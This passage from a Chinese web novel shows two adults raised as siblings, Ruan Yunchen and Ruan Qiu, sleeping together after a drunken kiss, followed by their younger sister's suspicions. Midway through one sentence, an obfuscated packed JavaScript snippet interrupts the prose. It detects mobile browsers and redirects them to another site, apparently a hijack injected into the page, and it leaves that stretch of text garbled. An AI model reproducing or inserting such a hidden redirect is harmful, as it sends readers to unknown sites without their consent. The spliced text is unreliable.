阮秋觉得,脑子里从未有过这么乱的时候。 她的目光还在他的脸上,像是某种无形的锚,把他的思绪死死地钉在原地。他无法不去想阮云琛刚才的话,那些低声的问句,像是无意间掀开了他所有的伪装,让他□□地暴露在她的注视里。 可他又忍不住问自己——她的这份执拗到底从何而来? 是因为他的疏离让她感到某种失落,像是原本握在手心的东西突然不见了? 还是因为她觉得,那个一向听话的“阮秋”,突然变得陌生,失去了控制? 或者……或者她真的对他有别的感情? 这最后一种可能让他的胸口一阵发紧,但又很快被另一种冷静压了下去。 怎么可能呢......?她的目光从来没有停留在他身上太久,就像他是她生活里一块稳固的砖石——值得依靠,却从未值得注视。 五年前,是她亲手把他推开的。 那时候,他刚鼓起勇气,试图靠近一点,告诉她藏在心底那些压抑已久的情绪,可迎来的却是用尽了全力的一拳,是丢在面前的资料,是本可以在她身边再待一年却被勒令提前出国的申请。 她像是一块冰石头,永远也无法融化,永远也不能融化。 她甚至——甚至有好长时间,都不愿意接自己的电话。 风吹过来,带着冬夜的凉意,他不自觉地偏过头,看向身边的街景。 路灯昏黄,光影模糊,灯罩里有飞蛾撞上去发出的“噼啪”声。 旧公寓近在咫尺,大铁门随着风摇晃着发出低哑的吱呀声,像是在诉说某种疲惫的耐心。远处的桥洞下依旧笼在一片昏暗的阴影里,深得看不清底,就像他的心情。 阮秋咬了咬牙,低声开口:“阮云琛,你醉了。” 声音很轻,甚至带着一点试探。 他希望这句话像一根针,能戳破她眼里那种叫他看不懂的情绪,把它化成一场醉后的空白,让他有时间整理好自己。 可阮云琛没有回答。 她只是安静地看着他,目光落得很稳,稳得让他心里发慌。那眼神里什么都没有,又好像什么都有,叫人根本无从琢磨。 夜风吹过来,她的头发被吹得微微扬起,挡住了路灯的一点光,阴影刚好落在她的眼睛里,衬得她的眼神更深了一层。阮秋下意识地屏住了呼吸,指尖微微颤了一下。 世界都仿佛静止了。 虫鸣停了,风声淡了,连远处桥洞下的昏暗影子都被忽略了。 忽地,阮秋感觉到唇上一热。 阮云琛的动作快得让他没反应过来,却又带着一股按捺不住的力度。她按着他的肩膀,像是要将他整个按住,唇撞过来的瞬间没轻没重,带着一种令人难以抗拒的倔强和冲动。 她没有说话,可所有她的想法都在这个动作里。他能感觉到她身上的凉意,又能察觉到她的呼吸里带着一丝醉后的温热,和一点点她从未露出的、不属于她的脆弱。 阮秋的脑子“嗡”地炸开了。 114. 嘿嘿嘿 阮云琛的动作没轻没重,带着醉酒后的倔强和某种不加掩饰的冲动。 她按着他的肩膀,唇撞过来的瞬间没有任何预兆。那温热的触感传递过来,像一场突如其来的风暴,让阮秋的思绪全线崩塌。 他僵了一秒,心头火忽地蹿起,一把将她彻底笼在了怀里。 动作是本能的,甚至带着一种压抑许久的爆发感。 他的手从她肩上滑下,扣住她的腰,唇齿间的碰撞没有任何保留,呼吸渐渐变得混乱。他想克制,可身体却完全不受控制,像是多年积压的情感在这一刻全数倾泻而出。 阮云琛没有退让。 她没有推开他,反而像是默许了一切,甚至伸手回扣住他的肩膀,微微向上抬起头,主动迎合他的动作。那股醉意似乎彻底将她的防线冲垮,连平日的冷静也被抛在了脑后。 路灯昏暗,虫子不停撞击着亮光,发出噼啪声响。直到呼吸渐渐变得不稳,阮秋忽然停了下来,声音低哑得像是藏着火:“回家。” 他拉着阮云琛的胳膊,脚步比平时快了几分,像是怕再多停留一秒就会被什么打断。 旧公寓的铁门发出一声沉重的吱呀声,脚步声在狭窄的空间里回荡,急促而压抑。 一进家门,阮秋反手将门关上,丢下钥匙。灯也来不及开,他已经将阮云琛压在了门后。 这是阮秋第一次这样靠近她——没有克制,没有试探,所有压抑的情绪在这一刻都化作了直接的动作。 他低下头,动作急切,试图汲取她口中的每一丝热度,带着几乎无法掩饰的渴望。他的手扣在她的腰上,将她牢牢圈在怀里,生怕她会再次逃开。 阮云琛没有反抗,反而抬起手勾住了他的脖子,动作比平时更主动,甚至带着几分挑衅。她的呼吸微微急促,带着醉后的沙哑,让人听了心头一紧。 “阮云琛……”他低声叫她的名字,声音压得很低,几乎像是在喃喃,带着某种压抑的热度。 她没有回应,只是抬头看他,目光里混着醉意和某种难以言喻的情绪。那种眼神像是一根火柴,在他胸口点燃了一片烈火。 忽地一阵凉风刮过,冰冷的气流让阮秋一怔,动作忽然停了下来。 他用额头抵着她,想要试图分开彼此,可呼吸依旧急促,胸膛一下一下地起伏着。 刚才那种本能的冲动在瞬间被压住,他闭了闭眼,努力让自己的思绪重新聚拢,像是从悬崖边猛地收回了一只脚。 “姐......你醉了。”他的声音低哑,却带着一丝强迫自己冷静的严肃。他微微推开她一点,目光落在她微红的脸上,眉头紧紧皱起,“你知道你在做什么吗?” 阮云琛没有回答。 她看着他,嘴巴又红又肿,目光似乎有些模糊,又有些清醒。那种醉意掺杂着倔强的神色,让她显得既让人心疼,又让人无法拒绝。她抬起手,扣住他的肩膀,没有任何迟疑地再次凑了上来。 阮云琛的动作很生疏,甚至可以说是笨拙的。 她撞上来的动作毫无章法,像是某种带着醉意的试探,又像是要打破什么界限。她的唇落在他的唇角,带着一点生涩的力道,撞得他呼吸一滞,喉结下意识地滑了一下。 阮秋闭了闭眼,手指紧了紧,像是努力压下什么。他低声开口,语气里透着克制的沙哑:“姐,你别挑战我——” 阮云琛没有说话,却是直接抬起手,直接捏住他的下巴,指尖的力气不轻,带着一点不容反抗的强势。 她的眼神微微模糊,却依旧透着清醒,那双总是冷静的眸子里,此刻像是藏了某种隐隐的火光。 她没有给他太多时间反应,身体再次往前凑了过来。唇压下的瞬间,阮秋的脑子一片空白,甚至连下巴上传来的轻微疼痛都被忽略得彻底。 他只觉得血液全都往胸口涌去,烧得他浑身发烫。 疼痛让他从短暂的愣神中清醒了一点,可她的唇贴着他的,带着微凉的触感和一点点无法忽视的倔强。他再也忍不住了,伸手扣住她的后脑,将她彻底按进怀里。 这一次,所有的克制都消失了。 他的动作不再有丝毫犹豫,力道比之前更深,带着几乎吞噬一切的急迫。他的手指轻轻扣在她的后脑,掌心贴着她的发丝,动作强硬却不失小心翼翼。 当初要抬头仰望着得存在此刻就在自己怀中,曾经若即若离好像永远无法触碰的人现在正在被自己拥有。那仿佛铁打的女人呼吸不稳,整个人如水一般与他陷在一起,那是…… 那是夜夜的梦里才会出现的情境。 “姐,我在做梦吗……”阮秋忍不住问道。 可他根本等不急得到回复,他甚至有一丝恐惧听到什么。他猛地将所有的话头全部堵回了阮云琛的口中,迫着她张着口没办法发出声音,只有喘息。 从下巴到嘴角,从嘴角到眼角,最后再回到那柔软的地方,阮秋疯了似的想要用唇勾勒出阮云琛的面庞。 阮云琛显然被他的动作弄得有些措手不及。她的手劲慢慢松了下来,搭在他的肩膀上,像是失了力气,又像是在回应着他。 低头久了脖颈酸痛,但阮秋并不觉得自己能停下来,他并不想停下来。他的手从阮云琛的腰滑下,将她整个人抱了起来,稳稳地放在了餐桌上。 木桌发出一声低沉的响动,震得他的理智线一寸寸绷紧,又一寸寸断裂。 阮云琛靠在那里,垂眼看着他,脸颊的红晕被路灯的光晕笼罩着,像是裹了一层他无法抗拒的诱惑—— 一瞬间又好像回到了过去,那个他还没有她高、还要仰着头追随着她的时候。 阮秋很清楚,他该停下来的。 可她的目光就这么落在他身上,明明带着点醉意,却仍然清醒得像一根刺,刺得他的喉咙发紧。 那双眼睛里什么都没有,只有一点隐约的倔强和等待——这样的目光,让他所有的挣扎都变得荒唐。 他听见自己的声音,低哑得几乎不像自己:"姐...…” 一个字从喉咙里滚出来,烧得胸腔发烫。 他的手稍微用力了一点,膝盖轻轻顶去了腿间。她的腿顺着力道自然分开,身体微微向后倾了一点,整个人更贴近了他。他低下头,动作比刚才的更加急切,连喘息都变得混乱起来。 理智开始彻底瓦解。 整个房间里只有呼吸的声音,还有心跳被撞击得失控的节奏,带着执拗的深情,又像是将所有未曾说出口的话都融进了这个动作里。 阮云琛的手攀上他的肩膀,力气有点大,指尖几乎要嵌进他的皮肤。阮秋将她拉得更近一些,像是要把她融进自己里头。 他的手从她的腰移到她的背上,再又从背上移回了腰间,他想要把她碾进自己的身体里,完全合在一起,永不分开。 阮云琛的腰很瘦,几乎没什么多余的肉,触感却不像他想象中的单薄,而是意外地结实。 薄薄的肌肉在他的手下微微绷紧,阮秋的指尖忽地顿住了。他僵在那里,呼吸几乎都被压住,不敢再往前一步。他告诉自己该停下,可胸腔里的燥热和头脑里的混乱让他连后退都做不到。 他抬头看她,那张熟悉的脸就在眼前,近得连每一丝醉意都清晰可见。 日思夜想的人就在这儿,多少次在梦里反复描摹过她的眉眼,甚至连她喊自己名字的语调都能记得一清二楚。那些压抑的情绪,那些不敢多想却又无法彻底放下的念头,此刻全都被推到极限。 怎么能忍得住? 阮秋的喉结上下滚动了一下,试图压下所有情绪,可身体比他的理智更快一步。 他的指尖忍不住触碰着她的皮肤,疯狂汲取着她身体的温度。她的后脊带着一点凉意,却在接触的瞬间点燃了一种难以言喻的燥热。 薄薄的皮肤下带着骨骼清晰的线条,阮秋的手指无意间触碰到几道旧伤,凹凸不平的触感像是在无声地提醒他,她经历过的那些岁月并不平静。 他的心像被什么狠狠拧了一下,所有的燥热和冲动都被一种复杂的情绪搅得更加失控。 阮秋的动作停了一瞬,阮云琛却主动靠近了一点,她的额头贴在他的肩膀上,气息轻轻拂过他的耳侧,带着一点不属于她的软弱,却又让人无法抗拒。 那一点距离被彻底打破。 他的手缓缓向上,贴着她的背脊一路探去,指尖碰到了內衣的边缘,金属的凉意硌着手指,搭扣在指尖的玩.弄下,“咔嗒”开了。 阮云琛忽地一颤,整个人轻微地后撤了一下。 阮秋的动作僵住了。 脑里的烧痛和喷涌的气血瞬间被冷意冲得一空,他下意识地想把手收回,整个人也本能地往后退了一步,试图拉开距离。 阮秋害怕,害怕再一次被她推开,像五年前那样,冷漠又决绝地被拒绝在原地。 可……阮云琛并没有彻底退开。 她的手在身侧紧了紧,低垂的目光藏着某种游离的情绪,像是犹豫,又像是挣扎。 “你......会吗?”她忽然开口,声音低得像是在夜里掠过耳边的风。 阮秋愣住了。 他的目光猛地抬起,直直地撞进她的眼睛里。她的脸被醉意染得更红了一些,眼神微微游离,却又带着一种让人移不开视线的认真。那样的目光,让他一瞬间觉得连呼吸都被压住了。 阮秋忽地笑了,低哑的声音里带着一点沙哑的轻嘲:“你觉得我什么都不会吗?” 阮云琛的目光动了动,像是没想到他会这么回答。她愣了半晌,没有说话,视线却缓缓地低垂去了别处,仿佛在回避,又仿佛在掩饰什么。 阮秋原本试图克制的理智在这一刻彻底崩断了。 阮云琛不知道自己是怎么想的。 她从来就搞不清自己的想法。 阮云琛自以为自己是个足够理性的人——或者说,她一度以为自己过于理性。 她以为自己能够将那些情绪和念头一一归类,分门别类地放到最不碍事的角落里,藏起来,埋起来,彻底忘掉。 可那些东西终究是顽固的,像积雪下的火苗,安静地燃着,等待一个合适的时机把她的伪装烧个干净。 越是压抑,就越是无法阻止它发酵,像是潮水逼近堤坝,终有决堤的一天。 阮云琛不知道是酒精让她的脑子短路,还是这些年埋藏的情绪在悄无声息地变质。 她只是站在那里,看着阮秋,那双眼睛里藏着她说不清的东西——太近了,近得让她心底像是被什么捏了一下。 她不知道这是从什么时候开始的。 也许是从他成为A,帮她在潜伏任务中一次次化险为夷时起;也许是从他越过那条线,用一个她始料未及的吻撕开了所有伪装时起。 又或许,比这更早。 很早很早以前,她以为她和他之间只有一种简单的关系——她是他的靠山,他是她的弟弟。 可后来,她发现有些东西变得复杂了。 那些东西最初并不清晰,像被薄雾笼罩的晨光,但它们一直都在,随着时间缓缓升起,照亮她未曾直面的角落。 阮云琛记得很多细节——那些看似无关紧要却一次次拉住她的瞬间。 阮秋向来没有什么惊天动地的作为,也不曾用语言表达什么,只是静静地陪着她,在她最需要的时候,用一种她几乎没意识到的方式将她从泥潭里托了起来。 是他在她最疲惫的时候默默递上的一瓶药;是她情绪崩溃时那句轻声的“我在”;是他在她身后无数次不动声色地撑住了她那些摇摇欲坠的时刻。 他说:“你不用强迫自己撑住一切,你还有我。” 一开始,阮云琛以为这只是因为他的善良,甚至是他年少时的本能。 可到后来,当他站在她身边,不再是那个单薄的小男孩,而是用自己的方式为她撑起一片天的男人时,她才意识到,这些东西早已改变了她。 这种改变是无声的,缓慢的,像是一滴滴水落在她心上。 她没有去想,甚至不敢想,因为她习惯把他当成某种确定的存在——那份确定,牢牢嵌在她的生活里,像空气一样无声,却无处不在。 他站在她面前,低头看她,眉眼里藏着让她看不懂的情绪。 那种情绪让她心底的某些东西跟着乱了,像是一根一直绷着的弦突然断了,所有伪装与理性瞬间变得毫无意义。 可他却说:“我早就不喜欢你了。” 为什么......? 为什么呢? 这句话像是被丢进她心里的某颗钝石,重重砸下,荡开的涟漪却迟迟未能平息。那时候的阮云琛没有接话,只是盯着他的侧脸,试图从那看似云淡风轻的神情里找出一点动摇的痕迹。 可什么都没有。 他低垂着眉眼,嘴角挂着一抹含着克制的笑意,像是在轻描淡写地陈述一个事实,甚至没有抬眼看她。她很少见过这样的阮秋。他一贯的专注与笃定,在这一刻被刻意的疏离取代了。就像某扇她习惯了轻易打开的门,突然在她面前关上了。 这种感觉让她心里泛起一种难以言说的委屈。她说不上来为什么。 她不该在意的。 可她在意了,甚至在意得发慌。 他是她带回来的,是她护着长大的,是她生活里那块从不出错的基石。 可现在,他说,他早就不喜欢她了。这是什么意思?他不喜欢她了,所以才开始疏远她吗?所以才让她觉得——觉得自己像个被无声抛弃的人? 这种想法像针一样扎在心里,细小,却钝痛。 阮云琛很少这么难受。她是一个能忍的人,惯于隐忍,也擅长忘记。可这一刻,那种委屈像是找到了出口,翻滚着从胸口涌了上来,刺得她再也无法平静。 阮云琛不知道这种感觉是什么。 她只是觉得委屈。 现在的阮秋比她高出一个头,阮云琛得稍稍仰视才能看清他的表情。 那张脸在路灯的光下显得轮廓分明,眉眼里却藏着她看不懂的克制与沉默。这种陌生感让她愈发烦躁,却也让她胸口的某种冲动彻底决堤。 想靠近他,想亲吻他,想问他“为什么”。 那种想法毫无预兆地冲了上来,像一场骤雨,淋得她猝不及防,也无法逃避。她没法克制,甚至根本不想克制。 这种冲动并不是酒精带来的错觉,而是埋藏在她心底太久的某种情绪,终于找到了决堤的出口。 她从未经历过这种失控。 那些情绪像涌动的水流,无法压下,甚至让她胸口隐隐作痛。她不知道自己在害怕什么,也不知道自己想要什么,她只是站在那里,看着他,看着他因为她的靠近而微微绷紧的下颌线,看着他垂下的眼睫微微颤抖。 “姐......你真的醉了。”他的声音很低,低得像风吹过耳边,带着一种几乎不易察觉的嘶哑。他没有退开,甚至没有真正拒绝她。 他的手仍然放在她的腰上,像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284069|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在撑住她,却又像是在克制着什么。 阮云琛没有回答。 她甚至没来得及思考,只是跟着本能往前一步,靠得更近了一些。她的手撑在他的肩膀上,微微抬头,目光直直地撞进他的眼睛里。那双眼睛里有她从未见过的情绪,深得像是能把人吸进去。 她的心跳得有点快,快到让她自己都有些不安。可这种不安不是害怕,而是一种难以言说的期待。她的视线在他脸上停了一瞬,最终落在他的唇上。 她靠了过去。 那一瞬间,所有的克制、挣扎、犹豫都像被什么劈开了一道口子,彻底溃散。她不知道自己的动作算不算笨拙,也不知道他会不会因此退开,她只知道她已经再也无法停下。 阮云琛亲了上去。 动作不重,却直白得像是一场迟到多年的坦白。 而阮秋也告诉了她答案。 但阮云琛也没想到过他能这么有精力。 并且还不知道为什么会这么早就在家准备了一整盒......嗯。 明明前脚刚从安全屋出来,后脚就从自己房间抽屉翻出了那个,阮云琛喝醉的酒也一下子醒了大半,但下一刻就又险些昏了过去。 再次醒来时,已经是中午头了。 房间里静悄悄的,只能听见窗外隐约的鸟鸣和偶尔的风声。阳光透过窗帘的缝隙洒进来,在床上投下一片斑驳的光影。 阮云琛睁开眼,脑袋还有些昏沉,宿醉后的头疼隐隐作痛,让她一时间分不清是身体的不适更强烈,还是昨晚那些零碎的记忆更让人难以招架。 她本能地想坐起来,却发现自己的腰像被人碾过了一样酸痛,腿也软得不像话。 她试着动了一下,全身的肌肉像在抗议似的拉扯着疼。阮云琛花了好半天——也没有很久,才想起来发生了什么——准确地说,是昨晚的“什么”。 一股热意瞬间涌上了脸。 被子散发着淡淡的洗衣液香气,干净得像是刚换过。床单也是平整的,一尘不染,仿佛所有混乱都已经被清理得一干二净。 可这些细节却更让她尴尬,仿佛在无声提醒她那些回忆并不是梦,而是实实在在的现实。 厨房里传来锅铲碰撞的声音,隐约还有些油爆的细响。 饭菜的香气顺着门缝钻进来,带着一种让人安心的温暖。阮云琛听了一会儿,不知道为什么心里又涌起些微妙的不自在。 她挣扎着想从床上爬起来,刚撑着手臂抬起半个身子,酸痛却让她倒吸一口气,又重新躺了回去。 被子的触感贴着皮肤,柔软而冰凉,随着她的动作轻轻滑动了一下,像是一种无声的提醒,让她更加清晰地意识到——现在只有这层单薄的布料遮住了一切。 阮云琛的动作滞了一瞬,缓缓揪住了被角,将它往上拉了一些,像是这样就能多挡住一点羞耻。可心里的那种异样感却挥之不去,像是昨晚的影子,一点点浮现在脑海里,让她无处可逃。 她咬着牙盯着天花板,胸口的情绪复杂得像是一团乱麻:羞耻、懊恼,还有一种她不愿承认的,无措而无奈的感觉。 就在她纠结着要不要硬撑起来时,门被轻轻推开了。 阮云琛几乎是瞬间闭上了眼,脑子里第一反应是装睡。她屏住呼吸,心跳在耳边清晰得过分,耳根子也热得像要烧起来。 脚步声很轻,由远及近,一步步靠近床边。她觉得自己的后背僵硬得像块木板,心里一遍遍祈祷:走吧,别发现,快出去。 可脚步声停在了她身边。 紧接着,她听见了一声极轻的笑:“姐姐醒了怎么还装睡?” 下一秒被子被人掀开,一股温热的气息悄悄钻了进来。阮云琛的脑子瞬间炸了,她的身体比意识更快,几乎是反射性地睁开了眼。 “你——”阮云琛刚张嘴,腰间忽然一紧。 阮秋不知什么时候已经躺了下来,从背后伸手环住了她的腰。 他的动作安静而自然,没有一丝犹豫,仿佛昨晚的一切给了他某种新的底气。他的脸埋在她的颈窝里,呼吸的热意贴着她的皮肤,一下一下,慢慢渗透进她的神经。 阮云琛僵住了。 他靠得太近了,近到她几乎可以感受到他的每一次呼吸,像无声的潮水,轻轻撞击着她的肩膀和心口。她咬了咬牙,动也不敢动,只觉得耳根烧得像要冒烟。 阮秋没有说话,他只是轻轻蹭了蹭她的颈侧。 那动作带着一点试探,又带着一点撒娇的意味。他的鼻尖轻轻贴着她的皮肤,一点点划过,像是在确认她的存在,又像是在安抚什么不安的情绪。 阮云琛闭上眼,屏住了呼吸。她本能地想要推开他,可手指刚抬起来,又硬生生地停在了半空中。 阮秋的怀抱太紧了,紧得让她生不出半点挣脱的力气。 她的身体比理智更诚实。每一次他的动作,每一次他靠近的气息,都像一把小锤子,敲得她胸口一阵阵发闷。 阮秋的手从她的腰间缓缓收紧,像是在确定什么,指尖微微滑动,贴着她的肌肤一点点挪动。他没有看她,只是靠在那里,呼吸的频率却一点点乱了。 她动了一下,身体微微往前缩了缩,这一缩却让他整个人僵了一瞬。 片刻后,他才缓缓抬起头。阳光从窗帘的缝隙里落下来,正好映在他的侧脸上,柔和了眉眼间的锐利。他垂下的目光小心翼翼地落在她身上,像是想说什么,却又咽了回去。 阮云琛转头看他。 她的视线撞上他微微湿润的眼眸,里面藏着她看不懂的情绪:紧张、不安,还有一丝克制的渴望。 他的喉结动了一下,呼吸似乎比刚才更重了一些。 这一瞬间,空气都安静了。 阮云琛的脑海一片混乱,昨晚的画面像是碎片一样涌上来,让她的耳根更红了一些。可就在这时,她忽然感觉到腰间有一阵异样的抵触感——某个硬硬的东西正硌着她。 她的动作停住了。 阮秋显然也意识到了什么,目光轻轻一顿,耳根有点发红,却没挪开手,只是微微动了一下,像是在掩饰。 阮云琛眯起眼,眸光一冷,下一秒,她的肘狠狠地砸了过去。 阮秋没来得及躲,被她一下子砸下了床。他愣了一下,抬手揉了揉肩膀,坐在地上仰头看她,嘴角轻轻勾起了一点笑意,带着不加掩饰的满足。 “你吗的还笑!”阮云琛恼怒地抬手,抓起一个枕头朝他砸去。 动作刚做完,她立刻后悔了。 枕头带着力道被丢出去的同时,掀开了大半的被子。冷空气一下子钻进来,她下意识地缩了回去,慌慌张张地把被子重新裹紧,将自己从头到脚裹得严严实实,只露出一双透着怒火的眼睛,狠狠地瞪着他:“滚出去!” 她的声音一出口,就带着一丝意外的沙哑。 阮云琛愣了一下,忍不住抬手按了按自己的喉咙,恼火的情绪又涨了一截。昨晚……昨晚到底有多过分,才让她嗓子哑成了这个样子? 她恨不得咬碎一口牙,连耳根的热度都忍不住升高了几分。 而站在床边的阮秋低头看着她,笑意深了些,却没有回答。他只是伸手抓住那个被她砸过来的枕头,拍了拍上面的灰,又慢悠悠地把它放回了床边,像是什么都没发生一样。 阮云琛的目光几乎要把他戳出两个洞。 “阮秋!”她咬牙,压低了声音,却掩饰不住那种藏在愤怒里的窘迫,“我让你滚出去!” 115. 审视 两三天没有回消息,这在阮云琛的字典里是稀松平常的事,可对淼淼来说就是天大的问题。 第三天上午,淼淼踩着一双运动鞋“杀”到了门口,手里还拎着从廖致远家带来的行李袋。她的理由很简单——家里没人管她,廖叔叔天天加班,她也没兴趣天天一个人待着。 门是虚掩着的,厨房里传来切菜声和锅勺碰撞的声音,伴着淡淡的饭菜香。她推门进去,看见阮秋正站在灶台前,袖子挽到手肘,一手握着锅铲,一手抄着锅子,炒蛋的香味从锅里飘散了出来,惹得人肚子咕噜直叫。 但淼淼难得的没有冲上去就讨吃的。 她眯着眼扫了一圈屋子,本能地觉得有一丝不对劲。 不.....不是一丝,是哪里都不对劲。 “你们俩这两天干什么去了?”她开口,语气里透着一种没头没尾的审问。 阮秋听见声音回头看了她一眼,表情不咸不淡:“你怎么来了?” “你和我姐都不理我,我还能去哪儿?”淼淼抱着行李袋往沙发上一扔,手插在腰间,目光紧紧盯着他,“老实交代——是不是有什么事瞒着我?” 阮秋被她盯得头皮发麻,敲了敲锅沿,声音无奈又带着点讨好:“我的祖宗......您能不能先坐下歇歇?饭马上就好了。” 淼淼不为所动,抱着胸站在客厅正中间,像一个义正言辞的福尔摩斯,眼睛滴溜溜地转,左看右看,似乎想从这个房间里找出点蛛丝马迹。 她的目光扫过客厅的沙发、茶几、甚至电视遥控器,最后又定在厨房里忙碌的阮秋身上,越看越觉得不对劲。 他炒菜的动作有点僵硬,频繁地摸着鼻头,放完了盐又放了一勺,出锅前的葱花还忘记撒。 淼淼的目光盯在阮秋身上,像是要把他看出个窟窿来。她眯着眼睛,一步步靠近厨房,鞋底在地板上轻轻摩擦,发出细微的“唰唰”声。她的神情严肃得像是在审问嫌疑人。 阮秋手里的锅铲顿了顿,抬头瞥了她一眼,随手从桌上的果篮里抓了个苹果,直接给怼进了淼淼嘴里。 淼淼咬住苹果——放在平时她一定会破口大骂,但今天她没有空。 她恶狠狠地咬下了一口,一眨不眨地继续盯着阮秋,完全不受分散注意力的影响。 阮秋被她盯得心里发毛,语气加重了一点:“出去吃,别打扰我做饭。” 淼淼保持着盯着他的动作,上下打量了一番阮秋,缓缓地倒退着出了厨房,一点点挪去了沙发,坐了下来。 忽地,房门开了。 阮云琛打着哈欠走了出来,穿着件有些大的卫衣,淼淼探照灯似的目光瞬间锁定了过去。 空气在两人对视的那一秒凝滞了片刻。 阮云琛脚步顿了顿,很快恢复平静,目光从淼淼脸上掠过,神情淡然得像是什么都没发生:“你怎么来了?” 淼淼没回答,咬了一口苹果,眼睛微微眯起,目光像是带着显微镜的扫描仪,从她身上的卫衣、松散的发型,一路扫到刚刚关上的房门。 “姐,”她慢悠悠地开口,咬字清晰得让人有点不安,“你穿秋哥的衣服?” 阮云琛假装没听见,伸手从餐桌上拿起一杯水,低头喝了一口,动作自然得不能再自然。可就在她转身的一刹那,肩膀微不可察地僵了一下。 厨房里传来锅铲敲击锅沿的声音,带着些不合时宜的嘈杂。阮秋正低头翻炒,似乎完全没有注意到客厅的动静,可手腕的动作却慢了一拍,像是刻意拖延着不往客厅看。 淼淼的眼睛从房门转到阮秋身上,又回到阮云琛,慢慢放下了苹果,眼神变得更加锐利,像是在审问一对形迹可疑的嫌犯。 “你们……”她顿了顿,语气拖得很长,“有什么事瞒着我吗?” 没人回答。 阮云琛假装专注于餐桌上的水杯,手指在杯沿上轻轻摩挲,像是在掩饰什么。而阮秋依旧站在灶台前,仿佛整个厨房的温度都没有他炒菜的动作重要。 淼淼从沙发上站起来,双手抱胸,目光一动不动地盯着阮云琛:“姐,你为什么从秋哥的房间里出来?” 这句话像一颗石子扔进了死水里,激起一圈涟漪。 阮云琛缓缓抬头,目光带着些冷淡的警告,却又掩盖不了眼底的一丝心虚:“小孩子别问那么多。” 淼淼的眉毛挑了一下,明显不信,转头看向厨房的阮秋。他感受到那道目光,终于停下了手里的动作,抬眼冲她笑了一下:“饿了就过来吃饭。” “我不饿。”淼淼挑起下巴,语气坚定得像是下了什么重大结论,“你们一定有事瞒着我。” “吃饭。”阮秋干脆利落地截断了她的话,把最后一道菜放在桌上,然后拉开椅子坐下。 他的动作不慌不忙,语气也平静得听不出一点破绽,“既然搬回来了,就安分点,吃完饭再说别的。” “谁跟你说完了?”淼淼坐下时故意把椅子拖得吱吱作响,声音像是某种小型的抗议。 饭桌上的气氛一时间安静得有些奇怪。 阮云琛伸手去夹菜,却发现筷子在手上转了一圈,也没夹起什么东西。她低头看着自己的碗,心里忍不住骂了一句阮秋。这个时候做饭做得这么“贤惠”,只会让淼淼的怀疑更严重。 “姐。”淼淼忽然开口,语气里多了一点狡黠,“你脸怎么红了?” 阮云琛猛地抬头:“你胡说什么!” 淼淼没再说话,只是看了她一眼,嘴角带着点意味不明的笑。 饭桌上的沉默被锅里的汤打破,沸腾的声音冒了出来,像是压抑许久的某种情绪。阮秋伸手关了火,目光从阮云琛的脸上扫过,嘴角微微扬起一抹笑意。 “吃饭。”他说。 淼淼像个侦察兵,每天坐镇客厅的沙发,双腿盘起,一只手拎着苹果或者薯片,另一只手无所事事地翻着手机,眼睛却总是在房间之间游移。她看得很仔细,几乎可以精确到鞋子摆放的角度,水杯里剩下的水量,甚至客厅地毯上的折痕。 旧家只有两间卧室。淼淼和阮云琛一直睡一间,而阮秋单独占了一间。 这样的安排本来很正常,但在阮淼淼心里,却像是藏着某种说不出的怪异。阮云琛和阮秋表现得完全没事人一样,话不多,态度平静,却越是这样,越让她觉得哪里都不对劲。 比如某天早上她起床后,看到阮云琛和阮秋弹射似的互相分开了半米;比如厨房里偶尔传来阮秋的低笑声,总是压得刚好够她听见,却又抓不到笑点。 又比如,那两人之间不经意的目光交汇,总是会迅速移开——耐人寻味。 淼淼试探过几次,东一句西一句地旁敲侧击,可每次都被两人轻描淡写地绕过去。阮云琛的冷静和阮秋的含糊,让她抓不住任何把柄,却又像是在对她说:你没猜错,的确有问题。 谢胖子来的那天,这种怪异的气氛终于显得格外明显。 胖子一进门就看见淼淼横在沙发上,手里捧着一本书,一边啃苹果一边看。他一拍腿,吐槽道:“你丫搬回来干嘛?这破地方就两间房,你跟你姐挤一张床,不嫌挤啊?” 淼淼咬了一口苹果,冷冷地回瞪他:“我姐才不嫌挤呢。” 胖子没听懂这话的弦外之音,哈哈笑着摆摆手:“那倒也是,你们姐妹俩从小就腻歪成一块了。” 没等他把话说完,阮秋端着一盘炒好的菜从厨房里出来,顺着胖子的话接了一句:“可不是嘛,她天天跟着姐腻着,像个小尾巴似的。” 说完,他才意识到这话有点不对,目光迅速扫了一眼沙发上的淼淼。 果然,她的眼睛一下子眯了起来,带着点猫科动物的敏锐和危险。 阮秋迅速闭了嘴,转身把盘子放在餐桌上,语气淡定地丢下一句:“吃饭吧,别废话。” 胖子不以为意,但淼淼却开始静静地观察他的一举一动。那种目光,简直像是在解剖某种可疑的实验对象。 阮秋被盯得暴躁,猛地抬起头看向胖子,把怨气一股脑儿全撒在了他身上:“你闲的没事来干嘛的?蹭饭的吗?” 胖子一拍脑袋,这才想起来自己来的目的:“对、对,淼淼的录取通知书!” 胖子是来送录取通知书的。 录取通知书是空军艺术大学编导系的,校名一看就带着一种特别的威严感。 胖子在一旁凑过来看了看,吹了声口哨:“部队的学校,淼淼厉害啊,这以后毕业了不就是国家的人了?” 淼淼扬起下巴,颇有几分得意的样子:“那可不。”她随手把通知书放在茶几上,仿佛那只是一件理所当然的小事。 这段时间,家里家外的事情多得像是赶集。 胖子最近盘算着扩建自己的网吧,听说城区那边房租降了,他租下了陈二起以前的拳馆的位置——那地儿的咖啡馆正寻思着退租,打算在那里开一家分店。 出租门面的老板听说谢胖子跟陈二起认识,直接给每个月的房租减免了一百,摆着手说:“算你欠我个人情,以后发达了可别忘了我啊。” 胖子笑嘻嘻地应下了。 现在正拆得热火朝天,胖子隔三差五就往那边跑,偶尔还发几张施工的照片到群里炫耀。 “等开业了,你们都得过来捧场!” 胖子在群里喊得起劲,陈二起没回话,但发了个点赞的表情。 另一边,廖致远打算退休的消息也传了出来。他的头发比以前更白了,眼角的皱纹也更深,但整个人看起来轻松了不少。他提起这事的时候语气平淡,只是偶尔在和阮云琛聊到某个案件时,会忍不住多说几句。 